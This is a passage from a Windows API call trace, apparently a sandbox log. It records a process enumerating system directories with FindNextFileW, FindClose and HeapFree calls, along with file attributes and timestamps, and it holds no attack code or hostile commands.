ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0197.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.332] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0197.333] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0197.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.334] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataMart", cAlternateFileName="")) returned 1 [0197.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.335] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0197.335] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0197.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.335] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0197.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.338] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0197.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.338] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0197.338] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0197.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.338] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0197.339] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.339] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0197.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.340] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0197.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.341] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0197.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.342] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0197.342] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0197.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.342] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0197.342] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0197.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.344] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0197.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.346] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0197.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.346] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DRM", cAlternateFileName="")) returned 1 [0197.347] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.347] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0197.347] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0197.347] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.347] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0197.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.348] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0197.348] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0197.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0197.348] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0197.348] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0197.348] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.349] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0197.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.428] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0197.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.429] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="temp", cAlternateFileName="")) returned 0 [0197.429] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0197.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.429] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0197.429] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0197.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.429] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MapData", cAlternateFileName="")) returned 1 [0197.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.430] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MF", cAlternateFileName="")) returned 1 [0197.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.430] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0197.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.430] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0197.431] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0197.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.431] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Network", cAlternateFileName="")) returned 1 [0197.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.431] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CM_old", cAlternateFileName="")) returned 1 [0197.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.432] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CM_old", cAlternateFileName="")) returned 0 [0197.432] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0197.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.433] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0197.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.433] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0197.433] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0197.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.433] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office", cAlternateFileName="")) returned 1 [0197.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0197.433] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0197.436] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0197.436] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0197.436] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0197.436] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0197.436] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0197.436] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0197.436] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0197.437] HeapFree (in: 